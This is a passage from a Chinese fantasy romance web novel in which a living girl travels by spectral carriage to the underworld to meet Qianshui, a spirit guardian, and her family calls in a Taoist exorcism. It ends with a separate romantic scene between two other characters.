“很可爱的灯笼。”千水又左手接过,眼帘低垂,视线落在兔子灯笼上,笑了笑,轻声道:“谢谢你。”
枝月又打了个哈欠,眼睛半眯,“我以后还能看见你吗?唔……地府也没什么可怕的嘛。”
千水张张嘴,他想说这只是黄泉路,地府是很大的。
但他终究没说出,其实他自己也没去过除黄泉路外的其他地方,地方可不可怕,他自己也不知道。
等他回过神,发现枝月已经睡着了,睡得安稳,呼吸轻缓。
他看了眼手中的兔子灯笼,今天是他们第一次见面,也许也是最后一次,他接受了对方的礼物,他得送出去些什么。
他坚定下来,站起身,身旁蓝雾与蓝雾中的人随之升高。
视线扫了扫,最终落在视野尽头的一抹红上,他想摘一朵彼岸花送给她。
现在的位置离长着彼岸花朵的地方还有些距离,他本想一口气跑过去,又担心对方突然醒来没看见自己,便继续握着对方的手,往前面走去,速度快了些。
那抹红色在眼中越来越大,终于,漫延到脚下。
红花与绿叶相接处有一条宽阔的小道,以防两者相触而消散。
每朵彼岸花都开得很灿烂,红艳艳的,恍若一团火,能将灵魂烧尽。
千水摘下一朵花,脸上浮现
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笑意,“你看……”他的话戛然而止,枝月不知何时翻了个身,侧躺着,睫毛因他的话而轻颤。
千水连忙闭上嘴,将彼岸花小心地放进对方手中。
他也觉得有些困了,一团蓝雾从小径上升起,将他包裹,与另一团蓝雾相融。
两人飘浮在空中,被蓝雾带着往来路飘去。
枝月醒来时发现自己正躺在自己的小床上,眼前是深褐色的墙面,上面挂着她以前的灯笼和其他小玩意。
“我瞧瞧枝月醒了没。”
枝月顺着声音望去,藏青色深厚的门帘被掀开,一个妇人走了进来,她喊道:“娘。”
“醒了?饿了没?”
枝月看着对方,没有回话,她视线再次缓缓扫过这间屋子,淡金色阳光穿透窗扉,撒在小桌上,将桌上那枝放在瓷瓶里的红花照得更加耀眼。
视线猛地一顿,枝月指着那朵没有叶子的花,忙问:“娘,这花……”
“这花,你摘的啊。”枝月娘走到床前,“也不知道你在哪摘的,枝明说马车到家门前时你睡得正香,手里就捏着这枝花,我们怕扔了你不高兴,就放瓶子里了。”
枝月脑子里好像被塞了一团粘灯笼的桃胶,思绪都被黏住了。
那个……好像不是梦!
天啊,我真的进入地府了!还遇见了黑白无常,还遇见了千水!
在她睡着前的那段记忆里,她未曾近距离看过彼岸花,更别说将它摘下,难道是……
她眼睛明亮,高兴地从床上跳下来。
枝月娘从木架上拿下衣服,将上面的灰尘拍了拍,“好在你昨晚疯玩这么久,没把衣服弄脏。”
抖好衣服,她刚转过身,便见一道人影风一般从面前闪过。
枝月哒哒哒跑到小桌前,趴在小桌上盯着瓷瓶里的彼岸花,傻傻地笑着。
地府一点也不可怕嘛,她想,而且黑白无常也很好,他们会送我回来的。
她在心里悄悄定下一个决定,嗯,今晚去找千水玩吧。
“娘,家里还有糖堆吗?”枝月仰起头,看向拿着衣服过来的女人,“我今晚还想去国都玩。”
枝月娘把衣服给她套上,边道:“行,我叫你哥陪你去。”
枝月嘴巴一撇,“我一个人去,有赵叔在,娘,你不要担心。”
“行行行,把手抬起来,我给你赵叔说一声。”
当天晚,枝月抱着从街上一处常光顾的小摊上买的一包糖堆,喜滋滋地又坐上赵叔的马车。
她靠着车壁,马车里还有个妇人,从对方从没合上的嘴里,她知道对方今天是去看望城里的亲戚。
妇人见着枝月,下意识就要开始聊天,枝月早有先知般闭眼装睡,躲过一劫,那妇人转去与前面驾车的赵叔聊天去了。
枝月悄悄呼了口气,将身心彻底放松下来,渐渐的,她感到一团温和的光将自身包裹。
她控制着没有睁眼,又过了一会,车内的谈话声完全消失,像被隔绝在另一个世界般。
她睫毛颤了颤,终于将眼睛睁开,入目的是熟悉的由星星点点的荧光凝聚的车厢。
64. 通往地府的马车(3)
“耶!”枝月喜笑颜开,怀里紧紧抱着一包糖堆,她起身,将车帘刷的打开,兴冲冲地立在车前,就差高喊“我来了”。
在前面专心驾车的黑白无常闻声一顿,似乎想起某些不那么美好的记忆,僵硬着转过头……
黑无常瞳孔扩大,“哇啊啊!”
缰绳被他一个用力拉住,前面的荧骨骷髅马嘶鸣一声高抬前蹄,嗒的停下来,后面的车厢因为惯性往前栽,幸好在栽到一半时又因为重力落回地面。
扑通一声巨响。
“我的娘啊!”黑无常捂着小心脏,看着面前的小女孩像看见恶鬼一般。
枝月被惊得差点跌出去,幸好白无常及时伸手将她拦住。
“你,你们不记得我了吗?”枝月只能将他们惊讶的原因归于记性不好,把她忘了。
“你怎么又来了?”黑无常狠狠搓了把脸,满脸震惊,夹杂一丝恐惧。
“我来找千水玩,我还给你们带了好吃的。”枝月将怀里的黄色包裹晃晃,“这是我最喜欢吃的糖堆。”
“你当地府是什么地方啊!”黑无常没招了。
白无常扶扶额头,看了他一眼,道:“你先驾车。”又看向枝月,拉着对方坐在身边。
枝月一屁股坐下,将糖堆放在腿上,将黄色包装纸打开,拿出一块糖递给白无常,后者满脸错愕,想说些拒绝的话,最终只能在对方期待的灼灼目光下接过。
“这一块给黑无常!”枝月又用她那充满期待让人没法拒绝的眼神看向黑无常。
后者看了眼白无常,硬着头皮腾出左手接过,干巴巴道:“谢谢。”
“嘻,剩下的我要给千水!”
白无常清清嗓子,觉得是时候好好跟对方说说活人进入地府有多危险了,当然,要用温和的方式,不能把小姑娘吓到。
“你……”
“我叫枝月!”枝月扭头看他,眼睛明亮得让人说不出话来。
白无常噎住两秒,道:“枝月,你知道活人来地府有多危险吗?”
“很危险吗?”枝月歪头看他,“你们不是会把我送回去吗?”
“但地府里有鬼气,你长时间来地府,会被鬼气侵身,到时候你会生病的,嗯,会短命。”
“这么可怕!”枝月低头思忖两秒,十分犹豫道:“那我隔一天再来。”
黑白无常:“……”
“不,不行。”黑无常摇头。
“那我三天来一次。”枝月比了个三,嘴巴已经瘪起来了。
黑无常依旧摇头,认真思索起来,“据我看,一个晚上活人沾染的鬼气,需要半个月来消除,但如果经常待在人多的地方,用阳气来抵消,那时间可以再减半。”
他正说着,突然察觉到一道寒光,一扭头,便见白无常脸色极差地盯着自己,他这才惊觉自己说错话了。
“我知道啦,我会半个月来一次的。”枝月低下头,撇嘴道。
白无常无奈捂脸。
马车依旧在魂亭停下,这次有五个人上车,他们沉默着,带着外边的寒风,有序地钻进车厢。
马车继续行驶,最后停在黄泉沙地。
枝月仰起头,天上繁星依旧,绚丽梦幻得让人挪不开眼。
白无常伸手,迟迟不见对方把手搭上来,干脆将对方一把抱住,抱下了马车。
“只能在黄泉路上玩,要是遇到危险就大声喊我,我听得到。”他看着对方,嘱咐道。
“好。”枝月回过神,朝他摆手,笑了起来,轻跳着跑出去,头也不回地冲进了面前的浓雾中。
望着对方逐渐化于白雾中的背影,白无常不放心,在她身上又下了个保护结界,这才去与即将到来的牛头马面交接这些魂。
面前的白雾浓郁得组成了一面厚实的墙,但被手一扒拉,又会往两边散开,等人穿过去后又迅速凝聚起来。
终于,视野两边出现了绿色,虽然绿色被浓雾盖住,显得朦胧,但在一片黄色和白色中依旧很显眼。
“千水,千水!”枝月大声呼喊着,第三声还没喊出来,面前的浓雾被破开,一个人从虚空中跳了出来。
“枝月?”千水惊愕。
枝月顿时笑着奔向他,“我来找你玩了,谢谢你送我的花,我今天给你带了好吃的,我已经给黑白无常吃过了……诶呀,我忘记问他们好不好吃了。”
“你……”千水依旧惊得说不出话来,“你怎么又来地府了?”
枝月轻轻跳到对方面前,“我来找你玩啊。喏。”她递出手里的东西,“我想让你也尝尝,真的可好吃了。”
望着面前之人,尤其是她明亮的,仿佛盛满黄泉路漫天星辰的眼眸,千水犹豫两秒,很轻地叹了口气,接过对方递来的东西。
他牵住对方的手,“我带你去花圃中间的空地上,那有小桌和坐垫。”
枝月连连点头,她刚迈出左脚,却一下踩在空中,整个人飘浮起来。
“哇哦!”她吓得握紧手里的手,余光见千水也飘了起来。
蓝雾将两人包裹,他们就像水中的鱼一样,在雾中游摆。
雾团向着视野尽头红绿交接的那条线飘去,枝月低下头,密密麻麻的绿色从脚下滑过。
她动了动,换成盘腿坐着的姿势,呼了口气,颇有种腾云驾雾的感觉。
随着移动,那条交接线逐渐扩大,变成一条淡黄色的带子,最终在视野中形成一条宽阔的路面,其中一块区域确实如千水所说布置有小桌和坐垫。
两人落座于桌两边,吃着枝月带来的糖堆。
“我本来想天天来找你玩的,但白无常说我会被鬼气侵身,所以我只能半个月来见你一次了。”枝月颇为遗憾道,
千水却是听得整个心都提了起来,忙问:“那你半个月来一次,就没事了吗?”
“当然了!”枝月叉腰道,“黑无常说了,只要我常去人多的地方,半个月都不用呢!”
“只要你没事就好。”千水轻声道,低头吃糖。
枝月吃着吃着,不安分地左瞧右看,一抹嘴角的糖渣,指着蔓延至天边的红色道:“我想去那玩。”
“好,”千水连忙站起身,抖了抖衣袍上的糖渣,正要伸出手,却见对方一眨眼跑了出去。
“慢点。”他急忙追上去。
“为什么
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花和叶不长在一起呢?”枝月回头问他。
“不知道……它就是这样的长的。”千水说。
他见对方停住脚,走了过来,问:“怎么了?”
“千水,快看!”枝月指着远处,兴奋道:“那里有一朵蓝色的云,它为什么飘得这么低啊,是从天上掉下来了吗?”
“云?”千水顺着对方指的方向望去,脸色霎时一白,结巴道:“那,那是魂。”
“魂?”
这时,小魂也注意到他们,飘了过来。
“千水?”小魂看向千水,视线又挪到对方身旁的女孩身上,凝神看了两秒,惊得往后跌。
“阳间人!”
枝月眨巴着眼睛,好奇地盯着面前会说话的云……啊不是,魂。
对方就像团蓝色的云,身后拖着尾巴,长着两只很短的手,眼睛又大又圆……
“阳间人怎么来地府了?”小魂颤着声音问。
枝月连忙举手回道:“我是坐马车来的,黑白无常驾的会发光的马车。”
“黑白无常知道?”小魂看向千水。
后者稳重点头,回道:“这是枝月第二次来地府,算是黑白无常默许的。”
闻言,小魂微不可察松了口气,就算出事,也有黑白无常先挡着……
不过,活人进地府,可真是新奇,它不久前就听说了开通一辆来返阴阳两界的马车,今天就见到坐这车来地府的活人……
小魂捂捂脸,朝两人摆手道:“玩去吧,注意安全。”
枝月指着左边道:“那里有个人。”
小魂与千水闻言看去,前者顿时一惊,大喊道:“孟梨食,你别糟蹋这些花,我说了这里没有橙色彼岸花!”
它气势汹汹飘了过去。
远处站着的女人闻言笑了笑,视线穿过面前气得膨胀的魂,落在千水和枝月身上,点到即止,毫不在意。
“那是谁啊?”枝月轻扯千水衣摆。
此时的千水还小,没离开过黄泉路,并不知道那位女子是谁,但想来也不是他能惹的,他摇摇头,拉着枝月往另一边走去。
“原来是那时见过面啊。”孟梨食微低头思索,脸上却未闪过恍然。
说实话,她根本没将只有一面之缘的人放在心上,更何况已经过去了十余年。
不过……
她看向小魂,目光中带着一丝审视:“你常在彼岸花圃,眼睁睁见着这段人魂之恋形成?”
小魂愕然一惊:“我……”
可以说,千水和枝月就是在它眼底长大,彼此产生了友情之外的情谊。但……但这种事又岂是它便能阻止的?
但是,说它情感迟钝看不出这两人的感情也罢,说它不愿做打鸳鸯的棒子也罢,总归是它没做些什么。
小魂忍不住想,如果它一早阻止,事情应当不会如此,如此让人难过……
见对方眼中多种情绪闪过,孟梨食低笑两声,她从不是那种在事已发生后争论为何如此的人,但她确实需要小魂反思一下,于情感一物上,不见得小魂比她多了解什么。
她重看向千水,点点下巴道:“你继续说。”
65. 通往地府的马车(4)
千水拉着枝月,踏入一条小道,穿梭在只有绿叶中的彼岸花圃中,直到踏上被黄沙铺满的黄泉路,千水才停下脚步。
枝月望着他,正要问些什么,路上突然起了风,黄沙漫天扬起,直往两人脸上扑。
“啊——呸呸!”枝月更是被灌了满嘴黄沙,转身背着风,呸个不停。
千水扬起右手,凝出一道蓝色屏障,将黄沙与风阻隔在外。
黄沙与白雾混杂着,像颜料被水晕开,交融。
千水眯着眼,隐隐瞧见雾与黄沙中走来一人,那人穿着一身白色,几乎融于雾中。
千水看向被自己牵住的人,说:“时间到了,你快回去吧。”
“啊?”枝月猝然抬头,“怎么这么快啊,好吧……”
她松开对方的手,脸上的不高兴没有一丝隐藏,“下次见面,可能就是半个月后了……”
“我会在这等你的。”千水语气轻缓却又格外坚定,他刚说完,白无常脱离浓雾的包裹,来到两人面前:“时间到了,走吧。”
枝月被白无常牵着,踏入翻涌的雾中,路上的脚印很快被刮来的黄沙覆盖。
回去的路上风依旧很大,枝月想,下次来她可以带只风筝,她还可以想想下下次见面和千水玩什么,嗯,还有下下下次……
枝月对地府的一切都很感兴趣,但她能逛的范围只限于黄泉路与彼岸花圃的其中几块,很快她便逛熟逛腻了。
“千水,你说,这路的尽头是什么啊?”枝月坐在黄泉路边千水准备的软垫上,撑着脸颊,望向道路尽头,视线却被雾墙阻隔。
千水捡了几枝掉落的彼岸花枝,正将其编成花环,闻言下意识扭头看了一眼,回答:
“有奈何桥,有忘川河,有森罗殿,有孟婆府,还有鬼市。”
他顿了顿,继续专注于手中编了大半的花环,道:“我只知道这么多,我负责看守黄泉路,没去过其他地方。”
“唔……”枝月依旧将视线投向那面厚重的,翻涌着的雾墙,又有些向往又有些遗憾道:
“可惜除了黄泉路,我也不被允许去其他地方,不过……”
她眼眸突然亮了起来,看向千水,“等我死了我就可以逛地府了!到时候你能陪我吗?”
她想,这肯定是几十年后的事情了,那时千水应该会升官吧,不会再被困在此地。
突然,她余光见那面洁白的雾墙翻涌得厉害,一团棕色逐渐扩散,在她眼中变大,变得清晰。
“那是什么?”她惊得噌的站起身。
千水倏然抬首,见状不急不缓起身,一团稍粘稠的蓝色从他左掌漫出,逐渐扩散逐渐稀释,凝固成一面蓝色的墙。
啪——
急速奔来的魂重重撞在墙面上,对方的脸被墙面压平。
千水左手一抬,看起来异常坚硬的墙像被炙烤般软化,将魂包裹住。
随着他左手一推,那被困在蓝“雾”中的魂瞬间被往来路带回,消失在黄泉路尽头,浓雾再次聚拢。
一切都发生在瞬息之间,因为那面蓝色墙的阻隔,枝月甚至没能听见那魂的惨叫与呼喊,在祈求着让他回到人间。
“那是人吗?”枝月心惊地吐了口气。
“是魂。”千水将一直握在右手中的花环递出,见对方还在望着那片已经凝聚的雾出神,他上前一步,将花环戴在她头上。
枝月猛然回神,伸手摸了摸头上的花环,笑道:“谢谢你,我喜欢这个。”
她勾起的嘴角又慢慢落下,其实她想问,那魂是怎么回事,但仔细一想,一切又是显而易见的。
枝月坐上了驶往人间的马车,头上戴着千水为她编的花环。
一个月只能见两次面,一年也只能见二十四次,十年的话,见了二百四十次,但回忆,是可以充斥在这十年的每分每秒的。
有人在第一次见面时便互相喜欢上,那叫一见钟情,世间还有另一种情感,叫日久生情。
千水想,他与枝月就是这样,他甚至不知道最初的一点改变发生在何时,等他意识到时,已经喜欢得无法改变了。
多年后的枝月已经不再是那个闹腾的小女孩,她开始在乎自己的容貌,开始在与他人谈话时注意自己的举止,嗯……面对千水时除外。
但当她意识到这样的后果,是数不清的媒人踏过家中门槛,向她介绍着各种陌生男子时,她后悔得直想用泥巴糊住自己的脸。
“陈家那三小子可是一表人才,现在还在县府老爷那当差呢!”媒婆眉飞色舞地说着,描得浓黑的眉毛险些飞起来。
“好好,这个不错。”枝月娘满脸笑意。
枝月视线瞟向门外,心道,不如千水,千水长得比他好看,千水还在地府当差呢!
投进门内的光线开始移动,渐渐退出,枝月倏然回神,竟然已是下午。
她一下子坐直身,将身旁的娘吓了一跳,媒婆眼睛一亮,忙问:“枝月是看上陈家三小子了?”
什么什么呀,枝月急得站起身,今晚她还要和千水见面呢!
“娘,我得去国都一趟。”
眼见着对方要跑,枝月娘连忙拉住她,虽然她早已习惯对方每月都要去国都几次,颇不像个待嫁闺中的女子,但因着疼爱,也没多说什么,只是这次……
“就这么急?不妨先看看哪些公子你略有些心仪,也好再做之后的打算。”
枝月瞥了眼桌上的一沓画像,嘴角抽抽,这得看到什么时候去。
她脑子快速转着,灵光一闪,也是内心想法的一现,她看着娘,眼眸明亮,神情认真:“娘,我有喜欢的人了。”
“啊?”枝月娘显得很是意外,“是哪家公子?莫不是对方住在国都内?”
枝月胡乱点头,脸上露出羞涩微笑:“娘,女儿很喜欢他,你会喜欢吗?”
枝月娘脸色现出片刻僵硬,很快,她收敛住情绪,笑道:“娘会的,你先告诉娘他是何方人士,叫什么名……”
枝月手上微用力,将对方拉着自己裙摆的手扒拉开,笑着打断道:“娘,我明天再与你细说。”
她说着,跑出门外,迎着
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泛橙的阳光,只留枝月娘与那媒婆,尴尬地对看着。
媒婆颇有些不死心,她可是将附近合适男子都打听了遍,不信还有谁能有她知道的这些人优秀。
“妹子,枝月年纪还小,天真得很,别是被什么臭男人给骗了,你可得注意点,再说,”她瞅了眼往下坠的夕阳,“这么晚了,要是枝月是去与那男子见面,孤男寡女的,你能放心?”
她越说,枝月娘的脸色越白,最后,枝月更是站了起来,“对,我得去查探个清楚,可不能让我家枝月受了委屈。”
眼见着对方跟着跑出门外,媒婆挥着手里的一沓画像,急道:“那这些画像……那、那我改日再来啊!”
枝月到了国都,并未多做停留,时辰已然不早,路上又耗费她不少时间,她按以往那样,随便买了些吃的,便坐上了回去的马车。
她试验过了,只要在傍晚这段时间回去,无论是坐谁的马车都能进入地府。
她太过高兴与期待今晚的见面,丝毫没注意到身后有一道异常的视线,那是来自她的娘。
枝月娘看着对方就这么坐上回去的马车,满脑子疑惑,这一路跟来,她可没看见什么陌生、奇怪的男子,虽然来时她没与对方坐上同一辆马车,但却仔细询问过车夫,车上除了枝月只有两个在半路下车的妇人。
为了掩藏自己,她依旧不打算与对方坐上同一辆马车回去,之后可以再询问车夫。
这么想来,女儿来国都好像不是为了见什么人,难道只是单纯地来买一包糕点吗?
就在这时,她看见一个穿着灰袍,蓄着胡须,类似道士模样的人靠近自己女儿,看见两人交谈几句后枝月略有些生气与慌张地离开。
警铃顿时在心中响起,她一步跨出,将那男人拦住,“你与那女子说了什么?我是她娘!”
对方明显愣了一下,“她?你说刚才那个?你既然是她娘,怎么不知她被鬼气环绕?”
枝月娘悚然,刚提起来的气势瞬间泄了下去:“你,你说什么?鬼气?”
对方摸着胡须,点头道:“鬼气,我不会感受错,虽然很淡薄,近乎消散,却依旧是实实在在的鬼气。”
“枝、枝月被鬼缠住了?”枝月娘双手晃了晃,一把揪住面前人的衣袖,“大师,大师,你可有办法救救我女儿?”
对方叹了口气,“罢了,我便为你查查,是什么鬼魂作乱。”
说罢,他突然摸出一张符纸夹在手中,轻轻一抖,符纸最上端咻地燃起火焰,根部是明亮的蓝色。
符纸很快燃烧到根部,对方不怕烫似的,始终没有松开手,直到符纸完全烧尽,变成一小撮灰烬,落在指尖。
他手腕一抖,将灰烬轻轻一撒,望着它们轻浮地飘在眼前,这时,一阵风刮来,顿时将所有灰烬吹散。
道士脸色瞬间白了,瞳孔地震,他望着面前的妇人,无能为力又有些恐惧道:“这不是我能窥探的,但我可以保证,他们不会伤害你女儿。”
说完,他像是要躲避什么似的,匆忙离开,消失在人流里。
66. 通往地府的马车(5)
黄沙依旧,近处的彼岸花枝叶仍旧翠绿,而远处的彼岸花永远鲜红似火。
黄泉路旁,枝月与千水靠在一起,在一面蓝色结界笼罩下吃着一包糕点。
吃着吃着,枝月忍不住去瞧身旁的人,忍不住想,若是将他介绍给娘,不知娘会不会满意。
应当是会的,她很快自我回答道,毕竟千水样貌好,性格好,品性好,还有份相当厉害的工作。
她时不时会表现得很稳重,但内心里依旧天真。
“诶,”枝月用肩膀去撞身旁的人,“今天媒婆又来我家了。”
她说着这话时眼里带着笑意,眼里还藏有话。
千水看着她,很沉重地问:“那你,有看上的男子吗?”
枝月晃了晃身子,坐直身,“当然没了,只要有比你好的我就同意,可惜没有呀。”
她语气颇显得有些惋惜,但笑意根本藏不住。
千水不傻,于感情上也不迟钝,只是,他不像对方那么天真。
“那你再多看看,会有比我优秀的人。”他低着头,望着地上的黄沙。
枝月皱了皱眉,“要是我一直没遇到呢?”
“……会遇到的。”
枝月刷的站起身,恨恨看了对方一眼,只能看见一个脑袋顶,越看她越生气,她不信对方不明白,但对方说这话是什么意思?
“我要回去!”
她猛地转身移开,刚走出两步,手腕被抓住。
她停下脚步,看着对方,正想笑,一想到刚才对方的话,又压下嘴角,愤愤道:“男女授受不亲。”
千水下意识松开手,却又很快被对方抓住。
“我要被你气死了!”枝月盯着对方。
“枝月,”千水终于开口了,“我是不同的,我们一个月只能见两次,还是很短暂的两次。”
“那又如何?”枝月梗着脖子看他。
“在你需要我的时候,我没法陪在你身边,你说你喜欢元宵节,喜欢提着灯笼逛街,可我没法陪着你,只能听你说。
“我甚至没法与你待得太久,会让你被鬼气缠身……”千水低垂着眼。
枝月豁然想起今日傍晚遇见的那个自称是道士的家伙,那个说我被鬼气缠身要为我驱邪的家伙,她越想越气闷,偏偏面前这人还在不停说着。
“哪怕见了面,我们也只能待在这么小的一块地方,这星空再美,你也会腻……”
“而且,你爹娘也不会同意,我……”
“我不听!”枝月突然大吼,她猛的甩开对方的手,红着眼睛,声音发颤道:“我就问你,你对我何种感情。”
她虽然问,但她知道答案,对方说了这么多,从未说一句“可是,我并不喜欢你”,一切的一切都是因为外部因素。
千水喉咙干涩:“我……”
枝月明白了,这就够了,只要对方也喜欢自己就够了。
“我这就回去告诉我爹娘,我非你不嫁!”她赌气似的说着,愤然转身,身影消失在浓雾里。
千水站在原地,任黄泉路上的风将他发丝吹起,他突然想起对方曾捡起一支彼岸花和一支彼岸花的枝叶,不信邪地将二者放在一起,但两者相碰的瞬间,彼此化作星光消散。
他记得对方哭了,明明是很正常的事,但对方哭得很伤心。
枝月下了马车,天色彻底黑了下来,她此时完全忘了礼仪,提着衣裙朝家中狂奔。
她心脏跳得剧烈,一下一下地撞击着胸腔,她大口大口呼吸着,呼吸着夜间的冷空气,但依旧满身热气。
渐渐的,家的轮廓在夜间被描摹,屋前院中火光耀眼,无数张黄色符纸被一根根融于夜色的线系着,浮在空中,在微风下摇曳。
火堆前有一张木桌,上面摆放着神龛,香炉里三支香的顶端飘出袅袅青烟。
枝月满脸茫然,她视线一扫,看向站在屋门前的女人,走过去道:“娘,这是做什么?”
枝月娘下意识要跑过去抱住她,身旁穿着道士服,白色胡须垂胸的男人瞥了她一眼,让她堪堪止住动作。
“枝月,别怕。”枝月娘轻声道,“快站在火堆前,你身上缠了鬼气,道长会救你的。”
“鬼气?”枝月反应过来,下意识后退两步,警惕地看着面前的一切。
火焰朝上扑腾,火舌贪婪地想去舔舐些什么。
“不用担心,”比白日遇见那位看起来更加苍老与威严的道长沉声道,“我会斩断你与地府的联系……”
他还没说完,枝月惊恐打断道:“不,我不要!”
枝月娘带着哭腔道:“枝月,别胡闹,那是要减寿的,必须得斩断!”
话出间,枝月爹与她的哥哥枝明走上前,在枝月逃走前钳住她双臂,将她带到木桌与火焰中间。
“不,”枝月脸色煞白,惊恐地直摇头,“娘,我不要!”
“为何不要!”枝月娘突然厉声道,渐渐的,她哭腔又溢了出来,“我早该发现的,是娘的错,让你受了惊吓受了苦……”
道长舞着剑,剑身仿佛被火焰包裹,焰光跳动在枝月眼眸上。
“娘,我求你了,我不要,你不是想知道我喜欢的是谁吗?他就在地府,我不能和他分开!”
“你当真是被鬼魂迷了心智!”枝月娘恨恨道,眼泪却从眼眶中滑落,倒映着火光。
那把剑在枝月四周游走,仿佛将一根根看不见的丝线斩断,剑身上的火焰时而腾起时而熄灭。
“不要!我讨厌你们,娘,你说你会喜欢他的!”枝月近乎目眦欲裂地看向面前的妇人,那眼神让后者惊得往后倒退,险些跌倒。
道士舞着剑,剑身渐渐化作虚无,只剩下仿佛由荧光凝聚出的轮廓,就在他要挥着近乎透明的剑穿过枝月身体时,一道蓝色结界忽然出现。
咔嚓——
透明的剑身在碰到结界的瞬间崩裂开,化作无数半个巴掌大小的碎片散开,反射着月光、星光和火光。
众人俱是一惊,枝月很快反应过来,哭喊着:“千水!”
砰!
蓝色结界好似活了过来,变成了一团蓝色雾气,将握着剑的男人轰开,将枝月紧紧包裹住。
“妖,妖……鬼,是鬼!”枝月爹吓得一屁股跌在地上。
“救救我女儿啊,道长,救救我女儿!”枝月娘哭喊着跑向枝月,却在即将触碰到对方时被那蓝色雾甩开。
“别怕,我还有招式。”道长甩掉只剩剑柄的剑,从兜里抓出一把黄色符纸,朝着面前猛地一扔。
符纸如翻飞的蝴蝶,簌簌扑到蓝雾上,在触碰的瞬间发出嗞啦声响,瞬间消散,散发出灰白色烟气。
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猛烈的灵力波动向四周散开,将再次爬起靠来的人冲撞开。
枝月头脑一阵晕眩,好像自己站在黄泉路的浓雾中央,看不清一点事物。体内所有力气都被抽走,她身体一晃,朝一旁倒了下去。
千水静静站在黄泉路上,白雾在他四周翻涌,他也不知道自己这样站了多久,也不知道自己为什么要这样站着。
他脑子内一团浆糊,他在思考,在混沌地思考,自己这样做是否是对的,人魂之恋的结果是什么?会有好的结果吗?
突然,他心脏骤然一痛,就像被一只骷髅手狠狠一抓,痛得他脸色煞白,呼吸不过来,一下子跪在黄沙地上,黄沙疯狂逃窜在空中。
点点蓝色从他身体内溢出,在颤抖,在翻涌,凝出触手,在尖叫,在狂甩。
千水意识到什么,跌撞着站起身,往前跑去,撞碎一面面雾墙,来到那无际的黄沙之地。
此地未有马车的影子,除他外没有任何存在。
他喘了口气,拔腿继续前跑,一直跑,一直跑,他不知道自己跑了多久,头顶只有无限星光,眼前只有浓重白雾,脚下只有平铺出去的黄沙……
但终于,一面蓝色的墙出现在眼前,这是面巨大无比的墙,向上连接着星空,向两旁无限延伸。
砰!
千水重重一拳打在墙上,墙面似水面般散出涟漪,没有丝毫破损。
“让我出去!”他突然大喊,向来平静的脸上露出狰狞,带着愤怒地敲打。
砰!砰!砰!
一下又一下,墙面平稳如水面,涟漪一圈大过一圈,快速向四周扩散出去。
“枝月!”
千水扯着嗓子喊,眼眶通红。
没有回应,四周一片寂静。
他扒着墙面,滑落进沙地,泪珠滚落脸庞。
“在你需要我的时候,我没法陪在你身边……”
“在你遇到危险的时候,我没法出现保护你……”
“在你难过的时候,我也没法出现安慰你……”
“这样的话,我对你的爱还有价值吗?如果它不能让你快乐,那它就没有价值!”
…………
“好的,”孟梨食点头,“说完了吧。”
她手腕一抬,一只瓷碗出现手中,里面清澈液体倒映着月光,晃荡着晶莹。
千水很轻地吸了下鼻子,从腰间取下一个袋子递出去,就在他接过碗的瞬间,一道声音忽然在不远处,在黑暗中乍起。
“千水!”
枝月提着裙摆,依旧抛开了所有礼仪,为了他奔来。
千水愕然回头,一个人猛地撞进怀里。
“千水,我以为我要错过今晚的马车,见不到你了。”枝月站直身,又惊又喜,她看着四周,“这是怎么回事?你能出来了?”
孟梨食轻咳一声,她要做的事已经做完,就不再这碍眼了。
她看了江余客一眼,以眼神示意,先行离开。
小魂在两边看了看,正要跟过来,孟梨食头也不回道:“你留在这里,处理之后的事。”
按她所猜那样,千水无法离开马车太远,等那女子喝了忘情水,还需要小魂将对方送回去。
小魂停下动作,无声答应,它侧过身,看着晶莹马车前的两人,心里一阵难受。
67. 表白成亲
江余客抱着孩子,随着前面的人在阴影中一脚一脚往前走。
已经很晚了,江黎客年纪小,熬不住夜,此时已经趴在江余客肩头睡得迷迷糊糊。
两人走到马车旁,前面很有段距离是条溪流,从农人屋舍前流淌过,被月光照耀着,波光粼粼,如一条银色带子。
孟梨食用灵力快速生了火,橙色光芒一下子腾起,将四周浓稠黑暗驱散,暖意紧跟着贴上肌肤。
江余客拿了张厚毯子将孩子裹好,凑到火边,低头注视孩子熟睡的脸庞,眼睑低垂,不知在想些什么。
孟梨食拿着柴棍,出神地拨弄火堆。
不知过了多久,小魂飘了过来,见两人都没睡,下意识喊道:“结束了。”
孟梨食与江余客同时抬头看它:“嘘!”
小魂连忙捂住嘴,下意识看向江余客怀里的孩子,好在没有吵醒。
它飘近,身形熟练地变成一张小床,压低声音对江余客道:“把孩子放上来吧。”
江余客点头,将孩子轻轻放上去。
小魂看了两人一眼,品出些不一样的味道,它道:“外面风大,我带孩子进马车里睡。”
它看着两人,欲言又止,最终什么也没说,撩开车帘进入车厢。
江余客望了孟梨食一眼,低着头,望向烧得噼啪作响的火堆,又添了几根木枝。
突然,孟梨食站起身,向着黑暗走去。
江余客警觉抬头,视线顺着对方而动,却被一片黑暗阻隔。
在对方起身离开这几秒,询问的话困在舌尖呼之欲出,但终究没能说出。
四周重回寂静,江余客静静坐着,胸前温暖,后背却遭寒冷侵袭。
他噌的站起身,身形晃了晃,向着黑暗走去。
点点亮光出现眼中,越聚越多,最后,马车的轮廓出现在视野中。
他视线慌忙一扫,落在立于马车前沉思的人身上,上前两步,又停下。
忍了又忍,他终究没忍住,出声问:“你要走吗?”
孟梨食没回头,也没直接回答,而是说:“我刚才查看一番,我确实可以乘着这辆马车回到地府。”
江余客的心脏骤然一紧,垂下了脑袋。
孟梨食看着马车,无声地叹了口气,轻声自语道:“就像故意的一样……”
她扭过头,看见垂着脑袋的人,走过来,一巴掌扶起对方的脸,骤然对上对方满是悲伤与不舍的眼。
“你……”
“你走吧,我会照顾好孩子的,我发誓……”江余客声音沙哑。
孟梨食注视他的眼睛,一秒、两秒……
良久,她叹了口气,自语道:“她也让我来选吗?”
江余客疑惑地看向她。
“感情最是能缚住人,不如咱俩建立感情,我留在人间。”
她刚说完,出乎意料地见面前之人摇头,道:“不,你想回去,我不想用感情来缚住你。”
孟梨食突然抬手摩挲他的脸,她手心的冰凉让对方打了个冷噤,下意识要往后退,却肉眼可见地止住了冲动。
孟梨食继续用手蹭了蹭他的嘴唇,最后一丝犹豫也没了,她笑道:“你怎知我不是自愿的?”
言罢,她用力吻了上去。
江余客双眼倏然睁大,身体紧绷,却渐渐放松下来,用双臂怀抱住对方。
嘴唇分离,孟梨食还没来得及说些什么,对方便将脑袋埋在她脖颈初,很轻又很急的呼吸。
莫不是哭了吧……孟梨食怀疑,她轻轻抬手,抚在江余客后背上。
